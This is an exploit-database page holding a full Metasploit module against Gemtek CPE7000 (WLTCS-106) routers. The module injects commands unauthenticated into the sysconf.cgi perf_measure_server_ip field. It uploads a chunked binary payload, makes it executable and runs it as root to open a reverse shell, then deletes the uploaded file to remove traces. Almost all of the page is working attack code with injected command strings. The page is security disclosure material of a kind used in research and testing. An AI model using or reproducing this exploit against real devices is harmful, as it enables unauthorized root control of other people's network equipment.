Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution (MSF)



EKU-ID: 5510 CVE: OSVDB-ID:
Author: Federico Scalco Published: 2016-04-26 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution',
      'Description' => %q{
          A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106
        exposing Iperf tool to unauthenticated users. Injecting a
        command in the perf_measure_server_ip parameter, an attacker
        can execute arbitrary commands. Since the service runs as root,
        the remote command execution has the same administrative privileges.
        The remote shell is obtained uploading the payload and executing it.
        A reverse shell is preferred rather then a bind one, since firewall
        won't allow (by default) incoming connections.
 
        Tested on Hardware version V02A and Firmware version 01.01.02.082.
      },
      'Author'      =>
        [
          'Federico Scalco <fscalco [ at] mentat.is>'
          #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'EDB', '39716' ],
          [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
          [ 'URL' , 'http://www.gemtek.com.tw/' ]
        ],
      'DisclosureDate' => 'Apr 07 2016',
      'Privileged'     => false,
      'Platform'       => %w{ linux },
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Linux arm Payload',
            {
            'Arch' => ARCH_ARMLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
      {
        'RPORT' => 443,
        'SHELL' => '/bin/sh'
      }
    ))
 
    register_options(
      [
        OptInt.new('CMD_DELAY', [false, 'Time that the Handler will wait for the incoming connection', 15]),
        OptInt.new('CHUNKS_DELAY', [false, 'Timeout between payload\'s chunks sending requests', 2]),
        OptString.new('UPFILE', [ false, 'Payload filename on target server, (default: random)' ]),
        OptInt.new('CHUNK_SIZE', [ false, 'Payload\'s chunk size (in bytes, default: 50)', 50 ]),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ], self.class)
 
  end
 
  def request_resource(resname)
    begin
      res = send_request_cgi({
        'uri'    => resname,
        'method' => 'GET',
      })
      return res
    rescue ::Rex::ConnectionError
      vprint_error("#{@rhost}:#{rport} - Failed to connect to the web server")
      return nil
    end
  end
 
  def cleanup
    print_status("#{@rhost}:#{rport} - Cleanup fase, trying to remove traces...")
 
    begin
      clean_target(@upfile)
    rescue
      vprint_error("#{@rhost}:#{rport} - Failed to clean traces (/www/#{@upfile}). The resource must be removed manually")
    end
    return
  end
 
  def clean_target(resname)
    res = request_resource(resname)
    if res and res.code != 404
      print_status("#{rhost}:#{rport} - Found resource " + resname + ". Cleaning up now")
      #remove
      cmd = '"; rm /www/' + resname +' &> /dev/null #'
      res = act(cmd, "deleting resource")
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to delete resource /www/#{resname} (have to do it manually)")
      end
    end
  end
 
  def set_conditions(buffer)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
    'encode_params' => true,
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'save_iperf_value',
        'perf_measure_server_ip' => buffer,
        'perf_measure_server_port' => '5555',
        'perf_measure_cpe_port' => '5554',
        'perf_measure_test_time' => '60',
        'perf_measure_protocol_type' => '1',
        'perf_measure_packet_data_length' => '1024',
        'perf_measure_bandwidth' => '19m',
        'perf_measure_client_num' => '1'
    }
    })
 
    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to set_condition request")
    end
 
    return res
  end
 
  def toggle_once
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/cgi-bin/sysconf.cgi',
      'vars_get' => {
        'page' => 'ajax.asp',
        'action' => 'perf_measure_status_toggle'
    }
    })
 
    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to toggle request")
    end
 
    if res.body == "1"
      @retoggled = false
      return true
    elsif !@retoggled
      #print_status("#{@rhost}:#{rport} - First toggle request returned 0, retoggling now...")
      @retoggled = true
      toggle_once()
    else
      fail_with(Failure::UnexpectedReply, "Toggler cgi did not respond in an expected way")
    end
 
  end
 
  def act(buffer, step)
    set_conditions(buffer)
    res = toggle_once()
    return res
  end
 
  def exploit
 
    @retoggled = false;
    @cmd_delay = datastore['CMD_DELAY'] || 15
    @chunk_size = datastore['CHUNK_SIZE'] || 50
    @rhost = datastore['RHOST']
    @rport = datastore['RPORT']
    @upfile = datastore['UPFILE'] || rand_text_alpha(8+rand(8))
    chunk_delay = datastore['CHUNKS_DELAY'] || 2
 
    clean_target(@upfile)
 
    pl = payload.encoded_exe
    chunks = pl.scan(/.{1,#{@chunk_size}}/)
    hash = Hash[chunks.map.with_index.to_a]
 
    print_status("Total payload chunks: " + chunks.length.to_s )
    print_status("#{rhost}:#{rport} - Uploading chunked payload on the gemtek device (/www/#{@upfile})")
 
    for chk in chunks
      chind = hash[chk]
      safe_buffer = chk.each_byte.map { |b| '\x' + b.to_s(16) }.join
 
      if chind == 0
        s_redir = '>'
      else
        s_redir = '>>'
      end
 
      cmd = '"; printf \'' + safe_buffer + '\' ' + s_redir + ' /www/' + @upfile + ' #'
 
      print_status("#{@rhost}:#{rport} - Uploading chunk " + (chind + 1).to_s + "/" + chunks.length.to_s + ('.' * (chind + 1)))
      res = act(cmd, "uploading shell")
      if (!res)
       fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
      end
      select(nil, nil, nil, chunk_delay)
    end
 
    #chmod request
    cmd = '"; chmod 777 /www/' + @upfile + ' & #'
    print_status("#{rhost}:#{rport} - Asking the gemtek device to chmod #{@upfile}")
    res = act(cmd, "chmodding payload")
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to chmod payload")
    end
 
    select(nil, nil, nil, @cmd_delay)
 
    #phone home
    cmd = '"; /www/' + @upfile + ' & #'
    print_status("#{rhost}:#{rport} - Asking the gemtek device to execute #{@upfile}")
    res = act(cmd, "executing payload")
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
 
    select(nil, nil, nil, @cmd_delay)
 
  end
end